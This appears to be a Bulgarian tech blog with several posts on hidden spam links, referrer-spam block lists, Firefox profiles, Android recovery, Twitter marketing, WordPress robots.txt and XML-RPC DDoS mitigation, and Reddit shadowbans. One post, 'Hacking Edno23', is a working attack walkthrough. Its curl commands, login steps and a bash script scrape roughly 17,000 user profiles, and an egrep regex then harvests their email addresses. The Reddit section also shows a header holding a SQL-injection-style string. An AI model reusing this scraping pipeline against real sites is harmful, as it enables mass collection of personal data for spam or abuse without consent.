trackback-spam

Спам линкбилдинг техники

Днес докато разглеждах сайта на доставчика ми (Networx) от мобилно устройство за да открия тарифата за безжичен интернет забелязах че докато зарежда за части от секундата видях текст “стоматолог в русе”. Но когато страницата се зареди вече нямаше такъв текст. Разбира се любопитството ми проработи и когато седнах на компютър направих нова проверка.

Резултата беше категоричен. Линк има във кода:
Screen shot 2015-03-21 at 23.58.09
Но във DOM линка изчезва:
Screen shot 2015-03-22 at 01.34.01

Тук вече любопитството ми заработи на пълни обороти. Има няколко начина да се скрие линк като се направи невидим – като се сложи за цвят цвета на фона, като се направи със много малък шрифт, като се скрие зад друг елемент и още няколко подобни похвати описани по-подробно на линка тук. Разбира се описано е много добре:

Hiding text or links in your content to manipulate Google’s search rankings can be seen as deceptive and is a violation of Google’s Webmaster Guidelines.

Понеже Google не са всемогъщи те имат една форма за подаване на сигнал към екипа за уеб спам която се намира тук. Разбира се никой не е открил топлата вода. Подобни условия имат Bing и Yandex

Но това са разни CSS похвати които са сравнително лесно може да се открият. Във моя случай текста просто изчезваше което говореше за използване на JavaScript код. За щастие целия текст е обграден от един span елемент с много специфичен идентификатор което предполага използването му за почистването. Тук вече късметът ми изневери малко. Сайта имаше 20 JS скрипта и 11 CSS файла и не ми се търсеше всичко файл-по-файл. За мое щастие във инструментите за разработчици има възможност да се търси текст във всички файлове. Така лошия код много лесно беше разгадан:
Screen shot 2015-03-22 at 00.21.37

Хмм… Разгледах няколко страници от сайта им и на всички намерих горния код. На пръв поглед изглежда някой е хакнал моя интернет доставчик като му е сложил 4 реда нейде из WordPress темата. Една проверка във OpenSiteExplorer за линка показа, че и още един сайт има същия линк:
Screen shot 2015-03-22 at 00.31.37 Проблема е че RuseNews също е на Networx и изглежда и той беше пострадал. Втория проблем е, че OSE работи доста бавно за откриване на нови линкове поради специфика на самия инструмент. Затова една бърза проверка във OpenLinkProfiler разкрива малко повече подробности:
Screen shot 2015-03-22 at 00.51.04Screen shot 2015-03-22 at 00.51.19

Явно не само Networx са пострадалите от тази линкбилдинг техника. Уви тази техника е непозволена и може да доведе до наказания на всички сайтове участващи във схемата. Аз няма да рапортувам сайтовете във тази порочна схема, но не мога да гарантирам че някой читател няма да направи това. Освен това нарочно използвам снимки за да не им правя неволен линкбилдинг.

Затова винаги си проверявайте сайтовете през някакъв период от време за изходящи и входящи линкове. Понякога няколко минути работа може да доведат до резултати многократно надхвърлащи очакванията.

Hacking Edno23 with opensource tools

Хакване на Edno23

Важно 2: Във curl командите за вход е отстранена малка грешка.

Важно 1: По-малко от час след написването на настоящето проблема беше отстранен. Благодарим на администрацията за бързата реакция.

Лятото на 2014 забелязах, че във мобилната версия на Edno23 има особенност която позволява да се види мейла на кой-да-е потребител във системата. Алармирах администрацията на сайта които ми отговориха, че това било от темата и били знаели за него. Изчаках търпеливо няколко (9) месеца, но проблема си стоеше неотстранен. И една вечер ми хрумна да им смъкна всичките мейли на регистираните им потребители. Сега ще ви покажа как беше реализирано всичко това за 5 минути.

Първата задачка беше да се смъкнат списъците на всички налични потребители. Списъка на всички потребители се намира тук:

http://edno23.eu/members

но има и 2,3 и общо 713 страници:

http://edno23.eu/members/tab:all/pg:2

http://edno23.eu/members/tab:all/pg:3

http://edno23.eu/members/tab:all/pg:4

http://edno23.eu/members/tab:all/pg:713

Това се изпълнява много лесно само със един ред:

curl http://edno23.eu/members/tab:all/pg:[1-713] -o "profiles-pg#1.txt"

При това не е необходимо човек да бъде логнат във сайта за да достъпи този списък. След операцията във папката ще има сумарно 713 текстови файлове със съдържанието на потребителите. Във всеки един от текстовите файлове има до 24 потребителя. След бърз преглед установяваме как линковете към потребителите имат добавен клас groupname или groupavatar. За наша радост egrep има удобна фукнция за филтриране на файлове на базата на regex шаблон:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt

разбира се извеждането във конзолата е леко досадно затова си го пренасочваме към файл ето така:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt > full-list-users

след което трябва да отворим файла full-list-users и да премахнем ето това
” class=”groupname”
от всички редове и честито. Току-що получихме списък на линковете към профилите на всички потребители на сайта.

Втората задачка беше да вземем самите мейли от всеки един потребител. Тук вече късмета малко ми поизневери. Трябваше да намеря начин да вляза във сайта за да мога да смъкна информацията. За моя радост curl имаха решение и на този проблем:

curl -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

така правим посещение на логин формата. Сега ще въведем потребителското име и паролата:

curl --data "email=EMAIL&password=PASSWORD&rememberme=1" -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

Съдържаниято на login.txt трябва след горната операция трябва да има линк към:

http://edno23.eu/m/dashboard

Което е сигурен сигнал, че сме влезли напълно редовно и можем да започнем със събирането на информацията ни. Нека сега да направим и автоматизация смъкването на информацията:

#!/bin/bash
echo enter file name
read fname
exec<$fname
while read line
do
AFTER_SLASH=${line##*/}
echo $AFTER_SLASH
url="http://edno23.eu/m/${AFTER_SLASH%%\?*}/show:info"
curl -o $AFTER_SLASH.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" $url
done

Горния bash скрипт се записва като dump_users.sh. Дават му се права за изпълнение (chmod +x dump_users.sh) и си го изпълняваме. Скрипта ще помоли за име на входния файл със потребителите при което му подаваме файла full-list-users като вход и започва голямото смъкване. Ако цялата операция премине успешно ще имаме папка със около 17000 файла със шаблона username.txt. Това ще трае може би няколко часа във зависимост от интернет достъпа ви, затова се въоръжете със малко търпение.

Третата задачка беше най-сладката… да съберем мейлите от вече смъкнатите профили:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt

тук обаче се натъкваме на нов проблем. Някой от файловете имат мейла два пъти което лесно се фиксира със един sort -u:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt | sort -u

Както сами виждате няма нищо сложно във горните команди. На практика не са нищо повече от извикване на curl, egrep и bash със няколко параметъра, което е доста добре за потребителите на *nix и клонинзите. Ако работите под Windows навярно ще трябва да използвате bash от Cygwin или със лека преработка PowerShell. Разбира се аз няма да ви дам на готово списък със мейлите на потребителите. И най-забавното във целия случай е че според правилата на сайта описани тук http://edno23.eu/terms всичко си е напълно коректно:

Запазваме правото си да деактивираме или изтриваме профили, направени изцяло с рекламна цел. Извиняваме се, но никой не ги иска на този етап, включително и ние.
stop-bad-robots

Спиране на спам ботове и линкове във Аналитикс

От няколко години във интернет се подвизава един метод за създаване на трафик към сайт. Говорим за spambot referrers които посещават сайт X като са дошли от сайт Y. По този начин те правят refferer трафик към сайт Х от името на сайт Y. Само администраторите и потребителите на Analytics подобен софтуер (Google Analytics, KissMetrics, Moz Analytics, Piwik, HubSpot Analytics и други) може да го видят уви. Но това са предимно администратори, web програмисти, дизайнери, оптимизатори или самите собственици на сайтове и има голям интерес от тяхна страна. Все пак всеки би се заинтригувал точно как сайт Y ни е линкнал.

Уви този метод не е етичен и напоследък доста се злоупотребява със него във интернет. Сега ще ви покажа прост метод как този спам трафик може да се блокира под Apache, nginx и Google Analytics.

за Apache .htaccess:

SetEnvIfNoCase Referer semalt.com spambot=yes
SetEnvIfNoCase Referer buttons-for-website.com spambot=yes
SetEnvIfNoCase Referer darodar.com spambot=yes
SetEnvIfNoCase Referer 7makemoneyonline.com spambot=yes
SetEnvIfNoCase Referer ilovevitaly.co spambot=yes
SetEnvIfNoCase Referer myftpupload.com spambot=yes
SetEnvIfNoCase Referer econom.co spambot=yes
SetEnvIfNoCase Referer iskalko.ru spambot=yes
SetEnvIfNoCase Referer ilovevitaly.ru spambot=yes
SetEnvIfNoCase Referer ilovevitaly.com spambot=yes
SetEnvIfNoCase Referer o-o-8-o-o.ru spambot=yes
SetEnvIfNoCase Referer o-o-6-o-o.ru spambot=yes
SetEnvIfNoCase Referer cenoval.ru spambot=yes
SetEnvIfNoCase Referer priceg.com spambot=yes
SetEnvIfNoCase Referer cenokos.ru spambot=yes
SetEnvIfNoCase Referer seoexperimenty.ru spambot=yes
SetEnvIfNoCase Referer gobongo.info spambot=yes
SetEnvIfNoCase Referer vodkoved.ru spambot=yes
SetEnvIfNoCase Referer adcash.com spambot=yes
SetEnvIfNoCase Referer websocial.me spambot=yes
SetEnvIfNoCase Referer cityadspix.com spambot=yes
SetEnvIfNoCase Referer luxup.ru spambot=yes
SetEnvIfNoCase Referer ykecwqlixx.ru spambot=yes
SetEnvIfNoCase Referer superiends.org spambot=yes
SetEnvIfNoCase Referer slftsdybbg.ru spambot=yes
SetEnvIfNoCase Referer edakgfvwql.ru spambot=yes
SetEnvIfNoCase Referer socialseet.ru spambot=yes
SetEnvIfNoCase Referer screentoolkit.com spambot=yes
SetEnvIfNoCase Referer savetubevideo.com spambot=yes
Order allow,deny
Allow from all
Deny from env=spambot

вмъкнете горния код някъде във основния код на .htaccess. Ако имате друг лош referrer просто го допишете във списъка.

за nginx:

if ($http_referer ~* (semalt.com)) {return 403;}
if ($http_referer ~* (buttons-for-website.com)) {return 403;}
if ($http_referer ~* (darodar.com)) {return 403;}
if ($http_referer ~* (7makemoneyonline.com)) {return 403;}
if ($http_referer ~* (ilovevitaly.co)) {return 403;}

добавете във конфирурационния файл на виртуалния сървър само тези редове които ви трябват. Ако има друг сървър просто го добавете като конфигурация.

за Google Analytics:

Admin tab > View Section > Filters Add a filter > Custom > Filter Field трябва да бъде Referral Pattern > и прибавяме сайта като www\.domain\.com
или
Admin tab > Property Section > JS tracking Info и прибавяме сайтовете към referral exclusion list

Разбира се това няма да попречи на “Лошите Момчета” да продължават да се опитват да ви заразят статистиките във аналитикса, но ще ги намали драстично. Винаги трябва да проверявате лог файловете си и аналитикса за подозрителен трафик от сайтове и да реагирате своевременно.

multiple-profiles-in-Firefox

Използване на няколко профила под Firefox

Когато ровенето във интернет се превърне във професия неминуемо човек се сдобива със няколко профила и започва едно чудене тип “със този браузър къде се бях логнал?”. Сега ще ви покажа как да активирате мултипрофилната поддръжка под Firefox и да я използвате във ваша полза.

  1. Излезте от Firefox ако е пуснат, ако не е пуснат пропуснете тази стъпка.
  2. Стартирайте команден ред. Под Windows трябва да се стартира cmd.exe, Linux/BSD/OSX потребителите трябва да отворят един терминал.
  3. Активиране на Firefox Profile Manager. Това е може би най-трудната част. Общо взето трябва да се напише един единствен ред.
    Windows 32 битов

    "C:\Program Files\Mozilla Firefox\firefox.exe" -ProfileManager

    Windows 64 битов

    "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -ProfileManager

    OSX

    /Applications/Firefox.app/Contents/MacOS/firefox-bin -ProfileManager

    Linux

    firefox -ProfileManager
  4. Firefox ще ви покаже заветния екран със списък със няколко профила (в момента е един) и няколко бутона. До сега сте работили във профила “default”. Сега натискате бутона “Create Profile…”
  5. Излиза един нов прозорец който ще ви попита как да се казва новия профил. Напишете име под което ще свързвате новия профил със предназначението му. Ако сте начинаещ не бутайте папките – Firefox сам ще се оправи и няма да омеши профилите.
  6. Натискате бутона “Done”
  7. Et voila! Имате чисто нов профил под който можете да стартирате Firefox.
  8. Сега при всяко стартиране Firefox ще ви попита под кой потребител искате да продължите работата си ако махнете “Don’t Ask at Startup”. Ако го оставите Firefox винаги ще стартира със Default профила и горната гимнастика от точка 3 ще трябва да се изпълнява когато трябва да влезете под другите профили.

Тъй като профилите не се смесват всички пароли, настройки, плъгини, бисквитки, отметки и други такива са индивидуални между профилите. Между профилите не може да се прехвърли нищо от горепосочените неща защото те са индивидуани за всеки един потребител. Единственно Firefox е общ и обновяването му ще обнови Firefox на всички потребители.

Има още един малък трик който ще опиша тук. Тъй като Firefox използва стартирания профил за да се взлезе със друг потребител трябва да се излезе от текущия. Което е малко досадно, ако трябва да се направи нещо малко по-бързо едновременно от двата потребителя. Mozilla са помислили за хитро решение на проблема като Firefox се стартира със опция “-no-remote” примерно като така:

"C:\Program Files\Mozilla Firefox\firefox.exe" -no-remote
"C:\Program Files (x86)\Mozilla Firefox\firefox.exe" -no-remote
/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote
firefox -no-remote

Използвайте реда който е за операционната система която ползвате както по-горе. Това ще доведе до стартирането на две (или повече!) работещи копия на Firefox във паметта и може да затормози доста компютъра ви в зависимост от дейностите които изпълнявате. Затова е по-удобно да изнесете тази команда някъде като икона за бърз достъп (shortcut). Никога ама абсолютно НИКОГА не стартирайте два пъти браузъра със един и същи профил едновременно! Може сериозно да повредите профила. Отделно трябва и много да се внимава при изтриването на профилите защото процедурата няма лесно възстановяване на данните ако случайно бъде изтрит профил който не е трябвало да се пипа.

Можете също така да стартирате и Firefox със бързо влизане във профил. Тук опцията е “-P <името -на-профила>” и може да се прибави и “-no-remote” за да се влезе във него дори и ако е стартиран вече браузъра под друг профил.

Отняколко месеца използвам тази техника успешно и вече не ми се налага да излизам и да влизам във различните услуги със различни профили. Механизма е проигран успешно и може да ви помогне ако имате повече от един акаунт във социалните мрежи (например 2-3 Facebook), ако правите активна оптимизация на сайтове или просто трябва да използвате акаунти на клиенти или приятели.

Ако искате повече информация можете да я намерите от извора тук, тук или тук

Recover Android with ADB

Настоящето го описвам защото днес се сблъсках със много интересен проблем. Евтин китайски таблет забива на логото на Android и няма измъкване оттам. Във различните форуми споделяха за рестартиране при задържане на Vol+ бутон, на друго място бутона беше Vol-, а имаше и места където искаха и двата бутона да бъдат задържани. На друго място споделяха, че можело безболезнено да се почисти самото потребителско съдържание със помоща на ADB. За щастие намерих оттук ADB за OSX и започнах със експериментите.

Първоначално установих, че имам със ADB контрол над устройството докато си цикли на логото на Android. Затова написах следната команда:

adb shell
recovery --wipe_data

Уви тук се натъкнах на следния проблем. Екрана премигваше няколко пъти и горната команда връщаше “segmentation fault” което е друг проблем. За мой късмет имало и по-къса команда wipe. Затова си натраках следния ред:

adb shell wipe data
adb reboot

Във резултат на което устройството успя да се рестартира и почисти всички потребителски настройки. Инсталацията на Android тръгна и устройството беше завърнато към живот. Както можеше и да се очаква всички данни от устройството бяха затрити. Което е както и минус така и плюс.

Ако “случайно” сте под Windows то ADB може да бъде намерено оттук. Разбира се няма как да потвърдя, че е работоспособно. Всъщност цялото ADB може да бъде смъкнато оттук, но е около 400MB и идва със цялата среда за разработка под Android.

twitter-tricks-and-tips

Съвети и трикове за използването на Twitter

Това навярно ще е единственното ръководство за Twitter от което изобщо ще се нуждаете! Twitter е световния лидер във средствата за мигновенна масова комуникация. Определено е най-бързия канал позволяващ на бизнеса да комуникира със клиентите и става все повече популярен като канал за поддръжка на потребителите (Customer Service) където съобщенията може да бъдат обяснени във 140 или по-малко символа. Обаче Twitter е много повече от комуникационна платформа! Тя позволява да се доближите и да комуникирате до лидерите във Вашата индустрия, да научите повече относно конкурентите във Вашата ниша и да видите как е тяхното присъствие във световната мрежа, да се утвърдите като истински авторитет във Вашата област. Във настоящата статия ще ви покажем най-добрите техники за използване на Twitter.twitter-tricks-and-tips

Twitter съвети и трикове:

  1. Бъдете интересни
    Ако сте отегчителни, ще изгубвате последователи. Изкарайте на яве Вашата персоналност! Публикувайте необичайни линкове относно Вашата ниша, подходящи истории, цитати и интересни мисли. Накарайте последователите ви да се забавляват, насърчавайте ангажиранноста (engagement) им и разговорите им. Така вие ще се отличите от тълпата.
  2. Бъдете социални
    Не публикувайте само Ваше съдържание. Има твърде много потребители които публикуват само съдържание относно техните мисли, блог постове, събития и съдържание относно тях. Всичко във социалната мрежа се върти относно социализацията, затова разпространявайте съдържанието на другите особенно на по-известните. Това ще ви позволи да бъдете забелязани от тях и от други потребители.
  3. Следвайте лидерите
    Преди да разпространите тяхното съдържание последвайте лидерите. Следвайте потребители които са вече активни във вашата ниша. Това ще ви позволи да научите повече относно Вашите потребители и какви са водещите тенденции във Вашата индустрия. Тогава вие ще можете да изпращате @ споделяния за да грабнете тяхното внимание и да подобрите Вашето представяне.
  4. Следвайте конкурентите
    Twitter е приятелска мрежа където е често срещано конкурентите да се следват един друг (примерно Дневник следва Сега). Не бъдете срамежливи и последвайте Вашите директни конкуренти, бивши партньори.
  5. Обичайте хаштаговете
    Използвайте хаштаговете да се присъедините към водещите разговори и да бъде Вашия бизнес във течение на тях. Гледайте какво останалите Twitter потребители използвате като хаштагове във областта ви и често ги търсете за да видите какво е популярно и какво вече е непопулярно.
  6. Използвайте списъците
    Много хора знаят за списъците във Twitter, но за съжаление потребителите рядко използват тази безценна възможност. Създаването на потребителски списъци позволява лесно да насочите към групите специфични съобщения или техники към тях. Например можете да направите списъци със хората които често Ви цитират (retweet), така Вие можете да предположите, че всичко което публикувате към този списък от потребители ще бъде цитирано. Или ако Ваш продукт може да заинтересува няколко групи различни потребители (например “shared хостинг”, “vps хостинг” и “cloud хостинг”)  Вие можете да категоризирате последователите Ви във различни списъци и да им изпращате специфични линкове и съдържание към тях.
  7. Подробно търсене
    Също както списъците това е недооценен инструмент. Подробното търсене (advanced search) позволява да направите търсене за потребители или клиенти отговарящи на зададени критерии – хештагове, думи, фрази, локация (ако целите някакво местно ниво) и дори повече.
  8. Всемогъщите “Други”
    Ако влезете във подробното търсене, ще забележите поле именовано “Други” (other). Това малко поле е същинска златна мина! То позволява да следите за Вашата конкуренция и да видите където те не отговарят на въпросите напотребителите. Когато търсите относно конкуренцията изберете полето “Въпрос?” (question?) за да видите ако потребители изпращат въпроси на конкуренти и остават без отговори. Тогава можете да отговорите директно на въпросите им от Ваше име.
  9. Мислете за мобилността
    Основна част от от потребителите използват социалната мрежа през своите мобилни устройства. Затова когато пускате връзки към сайтове имайте едно наум къде можете да ги изпратите и дали тези сайтове са съвместими със мобилните устройства.
  10. Публикувайте изображения
    Twitter потребителите обожават изображенията (и изображенията обожават мобилните потребители). Намерете оптимален баланс между съобщения със текст, съобщения със картина и съобщения със текст и картина.
  11. Следете любимите
    Не всеки ще сподели вашите съобщения. Повечето потребители ще ги маркират като “Любими” (favorite) вместо това. Всъщност това не е никак зле! Обикновенно означава, че те ще запазят вашата информация и ще я прочетат/споделят на по-късен етап или просто я харесват. Проследяването на подобни потребители може да се окаже ценна придобивка във Вашите маркетингови усилия. Вие можете да намерите какво потребителите правят, за какво пишат, какви са техните последователи и т.н. Тогава Вие можете да направите маркетингова кампания специално за тях и техните последователи. Отделете ги във отделни списъци базирани на съобщенията които те маркират като любими.
  12. Автоматизирайте
    Използвайте социални инструменти за да автоматизирате времеотнемащите и трудоемки дейности във социалните мрежи. Ще бъде обект на отделна статия по въпроса. Като за начало можете да използвате HootSuite, Buffer за целта. Във последствие ще откриете Followerwonk, TwitterCounter, Klout, Twitonomy и други.
  13. Не пускайте съобщения и бягайте
    Пускането съобщенията е супер, но никога не оставяйте съобщенията към вас без отговори. Това че сте автоматизирали нещо не означава, че трябва да отсъствате от останалата част от комуникацията. Отговарянето на съобщенията и споделянето им е ключово за изграждането на авторство, доверие и взаимоотношение със остананалите потребители или клиенти.
  14. Намерете Вашето време
    Използвайте инструменти като Followerwonk за да определите най-доброто време за публикуване на съобщения. Ако публикувайте съобщенията във неподходящ час цялата тази дейност ще бъде безмислена, защото няма да има кой да го прочете.
  15. Променяйте мястото на връзките
    Не поставяйте винаги връзките на края на Вашите съобщения. Понякога поставянето на връзката по средата или дори във началото на съобщението може да Ви помогне да получите дори по-добра обратна връзка от потребителите. Намерете оптималната среда за линка като направите тестове сред Вашата аудитория.
  16. Не забравяйте Вашия профил
    Създайте фонова снимка на Вашия профил. Всички знаят за възможносттите за избиране на цветова гама и фонове във Twitter профила, но рядко използват предимството да се откроят от тълпата на потребителите със специфична снимка за фон. Повечето хора просто поставят профилна снимка и евентуално фонова профилна снимка. Фоновата снимка на Вашия профил може да бъде допълнена със Ваша снимка, лого, биографични данни, телефон, сайтове и други. Това е голяма възможност която не бива да бъде изпускана.

Мислите, че има трик който сме пропуснали? Не се колебайте да го споделите по-долу във секцията за коментари.

robots.txt wordpress example usage

robots.txt and WordPress

Във предния материал ви показах колко лесно е да се използва WordPress не по предназначение и как да се предпазите от това. Сега ще ви покажа как едно тривиално извикване на robots.txt под WordPress също води до неочаквани резултати, как да му противодействате и още нещо.

Предистория на robots.txt

Имало едно време Интернет и едни сайтове които не били индексирани от никого. На няколко младежа им е хрумнало да направят търсачки които да обхождат денонощно интернет-а и да позволява на потребителите да търсят информация върху вече индексираната информация. Както винаги се случва обаче се оказва как някои страници не трябва да бъдат индексирани и през 1994 се е достигнало до консенсус относно начина по който да става това. Именно тогава се е зародила идеята за robots.txt и неговата спецификация. Тук можете да намерите оригиналната версия на документа. Както виждате няма нищо сложно имаме 2 реда User-agent и Disallow, във първия се описва робота а последващите един или няколко реда описват какво да не индексира. Както може да се забележи стандарта е силно повлиян от Unix и може да се използва # за коментар. През далечната 1996-та година обаче все пак са го вкарали като чернова за IETF и тук е оригинала на документа. Единственната разлика е, че този път е прибавен Allow където се описва изрично какво може да се индексира. Принципа си остава, че всичко което не е забранено е разрешено. В наши дни е широкоразпространено използването на robots.txt във всички сайтове. Едно от първите действия при пускането на сайт е да се настрои правилно robots.txt за да бъде сайта правилно обходен от роботите. Както може и да се очаква почти всички системи за съдържание CMS разполагат със поддръжка на този стандарт. WordPress не прави изключение и е robots.txt съвместим.

robots.txt wordpress example usage

Какъв е проблема със robots.txt под WordPress?

WordPress текущо поддържа 2 режима на индексиране управляващи се от Settings -> Reading Settings:

  • Забрана за индексиране на сайта – използва се когато сайта е във режим на разработка, някакви промени или други причини и съответно не трябва да се индексира. Тогава трябва да се укаже “Search Engine Visibility” и да бъде избрано.
  • Разрешаване на индексиране на сайта – използва се когато сайта е във работен режим и индексирането му е разрешено. Във този случай “Search Engine Visibility” не трябва да е избрано.

Единственното което прави тази настройка е да активира във базата данни една опция “blog_public”. Ако е забранено индексирането се връща следния код за robots.txt:

User-agent: *
Disallow: /

и съответно ако е разрешено кода има следния вид:

User-agent: *
Disallow: /wp-admin/
Disallow: /wp-includes/

Горните редове са всичко което ви трябва и се намират във файла wp-includes/functions.php във функцията do_robots. Проблема е, че да се върнат 3 реда се изпълнява сложна комбинация от код – зарежда се целия WordPress като фреймуорк, установява се връзка към базата, правят се няколко запитвания и на финала се връщат 2-3 реда които винаги са едни и същи.

Как можем да подобрим нещата?

Във момента се занимавам по ускоряване на WordPress със създаването на статични файлове и забелязах през административния панел, че виждам всички заявки към robots.txt. Това ме наведе на мисълта, че този файл не съществува реално, а е виртуален и се генерира от системата. Направих проверка и точно така се указа. Във сървъра такъв файл липсва, но през уеб браузър може да го видя. Разбира се всяка заявка към такива виртуални натоварва сървъра и технически е много по-добре да се направи статичен файл robots.txt във основната папка на WordPress и да се сложат вътре следните редове:

User-agent: *
Disallow: /wp-admin/
Disallow: /wp-includes/

Така малко ще ускорим работата на системата като спестим време. При мен условно от около 100 посещения дневно имам приблизително 100 зареждания на файла. Разбира се при вас стойностите може да се различават във зависимост от натовареността на сайта, социалните сигнали и индексирането му.

Има ли минуси при горния подход?

Има три минуса при този подход. Първия е, че повече няма да можем да управляваме файла от интерфейса. Втория е че повече няма да може да се активира това при обновяване на системата или плъгините. Обикновенно докато обновлението тече се забранява достъпа до сайта и когато свърши се разрешава отново. Технически във този период от няколко секунди може да мине бот и няма да индексира правилно страниците. Лично във моя случай това не е толкова фатално защото WordPress връща грешка и търсещата машина така или иначе узнава, че нещо не е наред и ще дойде пак. Третия минус е при използването на допълнителни плъгини за управлението на robots.txt тогава просто повече няма да може да работят.

Може ли да подобрим нещата още повече?

По време на тазгодишната конференция SMXWest имаше отделна секция Meet the Search Engines където за пореден път се изказа мнението, че е добра практика да се разреши на търсещите машини да индексират JS, CSS и други файлове. Още по въпроса можете да намерите SMX West Liveblog. При горния пример за разрешаване това е частично невъзможно, защото самия ядрото на WordPress се намира във горните две папки. Ето защо ако желаете да разрешите на ботовете да индексират целия сайт кода на robots.txt трябва да изглежда ето така:

User-agent: *
Disallow:

Евентуално може да се прибави и още един ред със sitemap съдържащ пълен URL към файла указващ картата на сайта.

Разбира се целите при които аз правя тази кръпка към WordPress относно robots.txt при мен са различни и може да не са подходящи за Вас. Моята цел е да генерирам статично съдържание от WP със цел качване по CDN без да изгубвам контрол върху съдържанието.

Disabling WordPress XML-RPC to be used DDOS attacks

WordPress XML-RPC issues

XML-RPC e протокол ползван от WordPress за комуникация със други компоненти. Освен XML-RPC може да се срещне и като XMLRPC въпреки, че със тирето е правилния начин за изписването му.  XML-RPC протокола позволяващ на WP да си комуникира със други инструменти, сайтове и потребители и се използва за pingback, trackback, достъп от мобилни или десктоп устройства и много други. Повече за WordPress XML-RPC API можете да намерите във WordPress Codex.

Disabling WordPress XML-RPC to be used DDOS attacks
Пример за използването на WordPress XML-RPC върху съществуващ реален сайт от ботове

Какъв е проблема във XML-RPC?

До версия 3.5 протокола е изключен и трябваше да се активира изрично за да се достъпва от външни услуги. От версия 3.5 този програмен интерфейс е активиран и няма възможност за изключването му във базовата версия без използване на плъгин. Както и се очакваше беше въпрос на време да се случи нещо непредвидено и непланирано. На 10 Март Securi обявиха на техния сайт че са забелязали атака на над 162 хиляди WordPress инсталации свързани във botnet мрежа. За съжаление атакуващия е останал във сянка и е използвал метод за усилване на атаката като са използвани напълно реални WordPress сайтове към сайта-жертва. Всичко става със използването на XML-RPC интерфейса като се симулира pingback.ping към жертвата. За да се избегне влиянието на кеширащите плъгини се прибавят случайни параметри към линка, това извиква страницата на жертвата и генерира трафик.

Какво мога да направя за да защитя XML-RPC?

За да се защити сайта участие във подобни атаки може да се използват няколко подхода:

  • изтриване на xmlrpc.php
  • защитаване на xmlrpc.php със парола
  • забрана на pingback метода

Разбира се всички методи си имат плюсове и минуси. Уви изтриването или защитаването на XML-RPC има неблагоприятен ефект – мобилните приложения няма да могат повече да функционират, JetPack също и много други плъгини. Друг недостатък е че при последвщите обновления горния файл пак ще се появи, което прави “защитата” леко безмислена. Затова възможно най-доброто решение е да се забрани pingback метода. За тази цел може да се използват тези плъгини Remove XMLRPC Pingback PingDisable Pingbacks или дори Disable XML-RPC като крайна мярка.

Важно допълнение относно WordPress и останалите

Ако си мислите, че “тази глупост няма как да ми повлияе” уви сте във грешка. ВСЕКИ WordPress може да се използва за нуждите на тази атака. По никакъв начин не може да се установи участието на блога освен ако не се преглеждат ръчно файловете access.log на web server-a. От личен опит – малцина правят тази операция защото е трудоемка и времеемка, отделно изисква доста добри познания по web, WordPress и дори и unix. За сметка на това всички пасиви са за сметка на участника – трупа се паразитен трафикк, генерира процесорно време и се правят обръщения към базата. Проблема е дори малко по-голям, защото XML-RPC не може да се кешира и обясненията “ама аз имам кеширащ плъгин” и този път не минават. Интересно ми е какво ли ще направят този път хостинг доставчиците. Когато беше wp-login атаката голяма част от тях направо сложиха http password на файловете, а някой дори преименуваха файловете при което поддръжката им беше на тръни няколко дена от недоволни клиенти. Този път обаче подобни действия няма да може да се изпълнят защото проблема е вътре във самия WordPress и не може да се реши без плъгин.

Reddit shadowban

Reddit е широко разпространена социална мрежа и продължава да расте. За съжаление апетита идва със яденето и спамърите идват със потребителите. Във reddit имат голям опит със борбата им и са изобретили един много хитър начин за преборването им – shadowban. Когато потребител е маркиран като спамър видимо всичко продължава както по старо му за него. Проблема е, че никой не му вижда коментарите, вотовете и публикуваните истории. Разбира се има модератори във различните раздели които могат да ви разрешат индивидуално достъпа до техните раздели. Обаче става досадно да се молиш на различните модератори за достъп. Много по-добре е да се свържеш директно със администраторите на сайта за да бъде решен проблема със акаунта отколкото да се разрешава достъпа до разделите. Сега ще ви покажа как може да се провери това. Преди известно време установих, че акаунта ми има проблем – публикувах неща, но не можеха да се видят от не логнат потребител. За мое съжаление не разбирах, че съм бил изключен от системата. Писах на модераторите във единия раздел и там ми вдигнаха забраната, но във втория раздел ми казаха че имам проблем със самия акаунт и имам shadowban забрана. Сега ще ви покажа когато акаунта има такава забрана какво се вижда:

curl -I http://www.reddit.com/user/peternikolow
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
Server: ‘; DROP TABLE servertypes; —
Date: Thu, 23 Jan 2014 12:50:56 GMT
Connection: keep-alive
Vary: accept-encoding

Когато потребителя няма shadowban то горното изглежда ето така:

curl -I http://www.reddit.com/user/peternikolow
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Last-Modified: Thu, 23 Jan 2014 20:57:00 GMT
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
Server: ‘; DROP TABLE servertypes; —
Cache-Control: private, must-revalidate, max-age=0
Date: Thu, 23 Jan 2014 23:47:36 GMT
Connection: keep-alive
Vary: accept-encoding

